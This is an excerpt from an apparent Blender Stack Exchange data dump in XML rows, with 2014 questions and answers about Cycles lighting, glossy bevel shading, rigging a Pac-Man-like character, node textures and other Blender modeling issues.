  <row Id="8641" PostTypeId="1" AcceptedAnswerId="8643" CreationDate="2014-04-16T20:22:31.330" Score="0" ViewCount="376" Body="&lt;p&gt;(Blender 2.70a, Cycles render engine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any thoughts on how to get back my smooth glossy surface?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working on cleaning up the overlaps caused by adding a bevel to some tight text and have encountered a problem I can't figure out how to fix.  When you add a bevel to text, Blender actually creates vertices in three additional planes (as near as I can figure): There is the front plane of your text, the back plane and in the middle are two planes of the bevel edge which would usually get separated by adding depth to the text -- I'm not adding depth, so the two middle plane are right atop one another.  When you use the &quot;remove doubles&quot; option (on the two planes that make up the knife edge) something is happening to the faces such that a glossy material reflects light differently than when the two planes exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are pictures to illustrate the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this first picture I have added text, added a bevel of 0.015 to the text object, then converted it to a mesh.  Using the face selection mode, and being in top view, I box-selected all the faces behind the front-most plane and assigned them a material consisting of a Mix Shader with a Glossy shader (defaults) and a Diffuse shader (defaults).  Then I created a blue diffuse material and assigned it to the frontmost faces.  I dropped in a few spotlights to light the scene and give something for the glossy material to reflect.  I have done nothing to remove doubles yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K5qDY.jpg&quot; alt=&quot;glossy bevel before removing doubles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, using the lasso selection tool with &quot;Limit selection to visible&quot; turned off, I have selected the knife-edge vertices on our right side of the &quot;x&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d7O3T.png&quot; alt=&quot;selected vertices where doubles will be removed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that selection made, I hit the &quot;Remove Doubles&quot; button in the Mesh Tools pane and observe the effect on the render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jaybL.jpg&quot; alt=&quot;glossy bevel after doubles removed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking visually, it's almost as if the faces of the bevel are now curved rather than flat, but why removing doubles would alter the faces that way escapes me.  And it's not the look I'm after!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I thought to try was alter the world surface to be some bright color, but the dark shadowing appearance remains unchanged if not tinted slightly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bRR1q.png&quot; alt=&quot;glossy bevel after doubles have been removed, but with a bright world surface&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had thought that perhaps the normals were oriented differently, but displaying them and rotating the view to present an unaltered portion of the &quot;x&quot; close to inline with the altered portion shows the normals to look, well, normal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bdCew.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any thoughts on how to get back my smooth glossy surface?&lt;/strong&gt;  Not removing doubles is the easy answer, but it's a double hassle when the font you're using wraps over itself on serif extensions when beveling.&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2014-06-15T21:35:20.903" Title="Why does knife-edge text bevel reflect differently with doubles removed?" Tags="&lt;cycles-render-engine&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-06-16T14:34:23.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="8642" PostTypeId="1" CreationDate="2014-04-16T20:30:26.240" Score="5" ViewCount="1410" Body="&lt;p&gt;I'd like to show an image (png, preferably) in my panel. Does anyone know if this is supported through labels or template_XX UIPanels?&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="12" LastEditDate="2014-04-18T12:12:33.043" LastActivityDate="2014-10-16T01:34:09.427" Title="Show image in panel" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8643" PostTypeId="2" ParentId="8641" CreationDate="2014-04-16T20:31:03.203" Score="0" Body="&lt;p&gt;Well, phooey!  A little bit more exploration of the interface &lt;em&gt;after&lt;/em&gt; posting the question reveals the Mesh --&gt; Faces --&gt; Shade Flat command.  Which restores my nice knife-edge look.&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2014-04-16T20:31:03.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8644" PostTypeId="1" CreationDate="2014-04-16T20:47:57.323" Score="0" ViewCount="103" Body="&lt;p&gt;I'm experimenting with the idea of making a &quot;portfolio&quot; animation that shows some simple scenes and adds text and screenshots of blender's UI so people can see how the animation was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is I tried to incorporate the video from one of my animations by linking the scene into the blend file.  When I add the scene to the VSE, it shows up rendered using the aspect ratio of the VSE scene (16:9), not the aspect ratio of the original animation (1:1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/88GqA.png&quot; alt=&quot;Video Sequence Editor with incorrectly cropped image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I browse the properties of the linked scene I can see it is a 384x384 render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WPJSA.png&quot; alt=&quot;source scene showing 384x384&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried fiddling with &quot;cropping&quot; the strip, but you can't crop by a negative amount.  Size effects just resize the incorrect image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can work around this by rendering the second scene to files and adding those files as an image sequence, but I'd like to build this portfolio scene to render without needing those temporary files.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-04-16T20:47:57.323" Title="In the video sequence editor, how do you incorporate a scene from another .blend file with a different aspect ratio than the current project?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-04-17T15:19:37.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="8645" PostTypeId="1" AcceptedAnswerId="8647" CreationDate="2014-04-16T21:16:47.380" Score="16" ViewCount="4457" Body="&lt;p&gt;Working in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a &quot;disco ball&quot; with a glossy shader. I'm pointing a spot light to it, and I'm trying to have the reflections of that light illuminate the diffuse material on the walls with the patterns from the ball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S3WvG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/swju9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'd like to get something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gtlZd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the illustration I placed a point light inside the ball an removed faces. But what I'd like to do is move the light around the ball so that the light reflected from it changes like it would do in real life. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible at this point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for the record here's the image rendered in LuxRender (yet another program to learn...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cH0bF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="2217" LastEditDate="2014-04-26T18:01:01.063" LastActivityDate="2018-05-21T22:37:34.400" Title="reflecting direct light on glossy surface in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8646" PostTypeId="2" ParentId="8639" CreationDate="2014-04-16T21:31:10.980" Score="8" Body="&lt;p&gt;Like in cegatron's answer, you should use &lt;em&gt;Loopcut&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have made a new edge loop, delete the faces with &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Faces&lt;/em&gt;, then fill the holes with &lt;kbd&gt;F&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qMTLe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-16T21:31:10.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8647" PostTypeId="2" ParentId="8645" CreationDate="2014-04-16T21:35:48.407" Score="18" Body="&lt;p&gt;Unfortunately cycles isn't very good at rendering caustics yet, due to the way it traces rays &quot;backwards&quot;, from the camera to the light source; it's very unlikely for a ray to bounce off a diffuse surface, a glossy surface, and then hit a point light source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a &lt;a href=&quot;https://developer.blender.org/T38401&quot;&gt;working patch&lt;/a&gt; which adds &lt;a href=&quot;http://en.wikipedia.org/wiki/Metropolis_light_transport&quot;&gt;Metropolis Light Transport&lt;/a&gt; (MLT) and adaptive sampling based on noise detection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mean time, if you don't want to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aDoc/Building_Blender&quot;&gt;compile blender&lt;/a&gt; with the MLT patch, you might want to try &lt;a href=&quot;http://www.luxrender.net&quot;&gt;Luxrender&lt;/a&gt;, an open source render engine which supports unbiased MLT and &lt;a href=&quot;http://en.wikipedia.org/wiki/Path_tracing#Bidirectional_path_tracing&quot;&gt;Bi-directional sampling.&lt;/a&gt; It can also use openCL to render using a GPU.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-16T23:10:25.100" LastActivityDate="2014-04-16T23:10:25.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8648" PostTypeId="1" AcceptedAnswerId="8658" CreationDate="2014-04-16T22:36:40.170" Score="5" ViewCount="3005" Body="&lt;p&gt;I have created a character that is basically a big moving eye with a tail. I am having problems wrapping my head around how to assign bones and weight it appropriately. Here's a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8pH7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to mess with the weighting of bones, but it has not produced any good results. The most acceptable solution I have found is using two halves of a sphere and then assigning a bone to each of them. Here's how it looks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jHO7p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this solution produces some artifacts where the spheres meet, and it gets even worse when lighting is added.&#xA;How can I go about adding bones to this character so that its eye can blink? Note that I can't use any fancy Blender built in stuff because this model is going to be used in my game developed with libGDX, which I believe only supports bones and weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's hard to imagine what I'm asking, you can think of it as a Pac-Man. How would you rig a Pac-Man so that he could move his mouth?&lt;/p&gt;&#xA;" OwnerUserId="3156" LastEditorUserId="1253" LastEditDate="2014-04-16T23:23:56.727" LastActivityDate="2017-11-16T00:06:44.640" Title="Rigging a Pac-Man-like character" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8649" PostTypeId="1" CreationDate="2014-04-17T00:07:55.253" Score="1" ViewCount="1153" Body="&lt;p&gt;I click on my object, then I select the materials tab (small red sphere). Everything is great except when I go into the Node editor (with &quot;Use nodes&quot; turned on) I can't add an Image Texture. In fact the &quot;Texture&quot; group isn't even in the Add menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? I'm sure it's a setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I open &quot;diffuse&quot; and click the plus sign next to the default white color and then choose &quot;image texture&quot;. But the color has no plus sign next to it.&lt;/p&gt;&#xA;" OwnerUserId="3169" LastActivityDate="2014-04-17T05:48:56.520" Title="Image Texture Help" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-04-19T17:14:48.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="8650" PostTypeId="1" CreationDate="2014-04-17T01:06:57.173" Score="4" ViewCount="1399" Body="&lt;p&gt;How do I enable draw all edges?  I researched a lot on google and all I got was go to display and check it. However it's not there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.katsbits.com/tutorials/blender/draw-all-edges.php&quot; rel=&quot;nofollow&quot;&gt;Here is an example&lt;/a&gt; of what they told me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me how to do this?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="599" LastEditDate="2014-04-17T01:18:28.957" LastActivityDate="2014-04-17T01:18:28.957" Title="Can't find draw all edges" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;drawmodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8651" PostTypeId="2" ParentId="8650" CreationDate="2014-04-17T01:14:07.887" Score="2" Body="&lt;p&gt;It's in &lt;em&gt;Properties &gt; Object &gt; Display:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hPsXc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this option is only available on mesh objects.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-17T01:14:07.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8652" PostTypeId="1" AcceptedAnswerId="8660" CreationDate="2014-04-17T01:41:07.280" Score="23" ViewCount="42097" Body="&lt;p&gt;I am using the Cycles render engine. I love the ability to use my GPU for rendering, and I have achieved some nice results texture-wise, but I am having a hard time with lighting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One problem in particular I've noticed is Hemi and Spot lights don't seem to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also don't know what is the most professional way to setup lighting in Blender. I have heard some people say to use planes with an emitter texture for lighting. Does that work better than lamps?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="2217" LastEditDate="2016-12-19T02:37:09.173" LastActivityDate="2019-12-30T04:20:10.340" Title="Can anyone give me some tips on Lighting in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;lighting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="8653" PostTypeId="2" ParentId="8648" CreationDate="2014-04-17T02:15:55.233" Score="1" Body="&lt;p&gt;You could try moving one of the eyelids (the lower one is better for this) forward a little bit. The overlap artifacts would be gone, and it would look fairly clean (unless the user frequently gets up-close and personal with the bottom of the eyeball creatures). If the top eyelid is moved upward too far it might show a bit too much as well. You won't get a perfect spherical Pac-Man model, that I don't think is doable. This would be a quick way to get this working well quickly and easily.&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2014-04-17T02:15:55.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8654" PostTypeId="1" AcceptedAnswerId="8693" CreationDate="2014-04-17T02:41:07.143" Score="4" ViewCount="751" Body="&lt;p&gt;I have some paths that have been imported via SVG from Illustrator, and as I was splitting them up, some would fill and some wouldn't. Even after removing extra points and ensuring there wasn't any redundancy or open ends, the path still won't fill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even weirder, if I translate certain points enough, it will fill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfilled:&#xA;&lt;img src=&quot;https://i.imgur.com/VsZ7PcJ.png&quot; alt=&quot;Unfilled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filled after severe deformation of an anchor:&#xA;&lt;img src=&quot;https://i.imgur.com/ZTfjLUn.png&quot; alt=&quot;Filled after severe deformation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gives? I fixed the &lt;em&gt;G&lt;/em&gt; earlier but now the &lt;em&gt;T&lt;/em&gt; (consisting of only straight lines) won't fill. I have one other letter with many more points and I'd rather understand &lt;em&gt;why&lt;/em&gt; it's doing this before spending more time fiddling with it before it works.&lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="2217" LastEditDate="2014-10-03T00:07:01.967" LastActivityDate="2014-10-03T00:07:01.967" Title="Path not filling correctly" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8655" PostTypeId="1" CreationDate="2014-04-17T02:55:44.497" Score="0" ViewCount="583" Body="&lt;p&gt;I'm currently modeling my game character in Blender (see below picture). What is the difference between a subdivision surface modifier and a multiresolution modifier? I know they smooth the surface but are there specific characteristics to using each and what are those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GK6LE.png&quot; alt=&quot;low-poly character model&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3173" LastEditorUserId="599" LastEditDate="2014-04-19T01:39:06.097" LastActivityDate="2014-04-19T01:39:06.097" Title="What is the difference between a subdivision surface modifier and a multiresolution modifier?" Tags="&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2014-04-19T17:18:51.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="8656" PostTypeId="2" ParentId="8648" CreationDate="2014-04-17T05:13:44.887" Score="0" Body="&lt;p&gt;Join the two eyelids at the back so you basically have one sphere covering the entire eyeball and use two bones to pull the eyelids apart at the front of the eye.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-17T05:13:44.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8657" PostTypeId="2" ParentId="8649" CreationDate="2014-04-17T05:48:56.520" Score="2" Body="&lt;p&gt;The materials display for cycles changes dynamically based on what nodes are used. the plus sign is used to show/hide options of a node, it isn't visible unless there are options to hide. When a diffuse shader is shown by itself all of it's options are visible and not collapsible. If a diffuse shader is shown as input to a mix shader then a plus sign will be displayed to show it's options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5qetw.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/rFLBy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add an Image texture as input to a colour input of a node you click on the little dot to the left of the colour swatch to get the menu with Image Texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o2g6v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the options available in the add node menu of the node editor, check that you are using the right settings for the node editor. The node editor is used for materials, textures and compositing, each has there own list of nodes that can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option for which nodes to display is shown in the header &lt;img src=&quot;https://i.stack.imgur.com/4YMX6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-17T05:48:56.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8658" PostTypeId="2" ParentId="8648" CreationDate="2014-04-17T08:29:17.680" Score="5" Body="&lt;p&gt;To give it a good look, you must add up more bones (like in an eyelid, to give folds , stretch and squeeze)(Eyeball not included).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, I have created a sphere, rotated it, so that both poles are on x axix (16 segments, 16 rings) Then added an armature, 1 root bone, rest for eye folds ( though , i haven't added any subsurf, or details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotation constraint is applied to every other bone, so that they follow the first bones (top bottom) when ever user moves them (this gives natural look).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE : I am going to create a Cacodemon out of this blend file :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to blendfile.&lt;a href=&quot;http://www.pasteall.org/blend/28495&quot; rel=&quot;noreferrer&quot;&gt;Pacman&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8UaBq.jpg&quot; alt=&quot;PacMan Bones&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="2173" LastEditDate="2014-04-17T15:47:43.810" LastActivityDate="2014-04-17T15:47:43.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8659" PostTypeId="2" ParentId="8648" CreationDate="2014-04-17T08:54:17.230" Score="9" Body="&lt;p&gt;I just made an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1779/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1779&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bind each half loop to each control bone;&lt;/li&gt;&#xA;&lt;li&gt;Add a bone constraint called &lt;strong&gt;Copy Rotation&lt;/strong&gt; to each bone except the outermost one, set all target as the outmost bone (the longest one in the image below), adjust the &lt;em&gt;Influence&lt;/em&gt; value for each degressively.&lt;/li&gt;&#xA;&lt;li&gt;After that, you can control the open/close action simply by just tweaking the outermost bone.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j7Zpa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2016-08-16T04:02:34.407" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8660" PostTypeId="2" ParentId="8652" CreationDate="2014-04-17T09:39:06.520" Score="56" Body="&lt;h2&gt;Lamp Strength&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One thing that might be confusing in the beginning when learning lighting is how the Strength value effects different light sources. For example, when you add a new spot lamp, the default Strength is 1.0. However, this is so weak of a Strength that when rendered, it will produce almost no noticeable result, which might make you think the light is &quot;not working&quot;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/27Gri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get a noticeable result in your render, you might need to set the Strength to a value in the hundreds, or perhaps even in the thousands (if your light source is very far away from the desired target):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TMGJg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D27fd.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Size of the lamp can also greatly effect how it lights your scene. Notice the difference between a Spot lamp different sizes:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Size of 0.100 &amp;amp; Strength of 1000&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H5AQJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Size of 10.0 &amp;amp; Strength of 1000&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cbE7X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing the size makes it darker because it simulates increasing the area the light is coming from i.e. Same power over larger area spreads light thinner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you are using a plane with an Emission Shader, depending on the size of the plane, you might need to use different strength settings:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ydPGs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ajojv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DkIlx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, notice how if the emission plane is much smaller, a strength of 300 produces much less light in the scene:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6LMri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, experiment with the size and strength settings of your lights to achieve the desired result. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Visibility of Lamps vs. Emission Shader Objects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One of the biggest differences between lighting you scene with a lamp and a mesh with an Emission Shader is that a lamp will provide light in you scene, but the light source itself (the lamp) will &lt;strong&gt;NOT&lt;/strong&gt; be visible in your render. For example, in the scene below, you can see the spotlight lamp in the 3D Viewport, but on the right, when the scene is rendered, you can see the lamp's light in the scene, but the lamp itself is not visible at all:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gCouV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if if you use an object (such as a plane) with an Emission Shader added to it as your light source, both the light emitted by the object &lt;strong&gt;AND&lt;/strong&gt; the object will be visible in your render:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7K8sJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Professional or Not?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There really is no one correct answer for &quot;what is the most professional way of lighting&quot;. If you are actually using Blender professionally to produce a finished product for an employer or a client, then the best way to light a scene is the way that pleases them. If you are trying to produce something for yourself only, then the best lighting arrangement is the one you find most pleasing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the goal is to create an anime-style scene with Blender, then you will need a lighting arrangement that achieves this goal:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKBAO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a more realistic looking, yet still somewhat cartoon-looking image, you will need a different lighting style:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ObcsH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a photo-realistic result, you will need a photo-realistic lighting arrangement:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mTUwL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Lighting Tutorials&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Study and practice will help you learn which style of lighting is best for achieving your goals. In this regard, searching Google for &lt;a href=&quot;https://www.google.com/search?num=100&amp;amp;safe=off&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;es_sm=119&amp;amp;q=blender%20lighting%20tutorial&amp;amp;oq=blender%20lighting&amp;amp;gs_l=serp.3.1.0l10.2757.5054.0.8028.16.12.0.4.4.0.270.1632.4j7j1.12.0....0...1c.1.41.serp..2.14.1251.uUtC31QYs9I&quot;&gt;tutorials on lighting&lt;/a&gt; can help you find information on lighting in all different kinds of formats -- books, websites, videos, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since Blender changes so rapidly from version to version, books tend to get outdated quickly. Therefore, YouTube video tutorials are one very good source of up-to-date information. If you search YouTube for &lt;a href=&quot;https://www.youtube.com/results?search_query=blender%20tutorials%20lighting&quot;&gt;&quot;Blender tutorials lighting&quot;&lt;/a&gt;, you will find many useful tutorials. In fact, you can search for &lt;a href=&quot;https://www.youtube.com/results?search_query=blender%20tutorials&amp;amp;sm=3&quot;&gt;&quot;Blender tutorials&quot;&lt;/a&gt; and find excellent information on all aspects of Blender and you can learn quite a lot from them.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="20508" LastEditDate="2016-06-13T18:46:25.353" LastActivityDate="2016-06-13T18:46:25.353" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
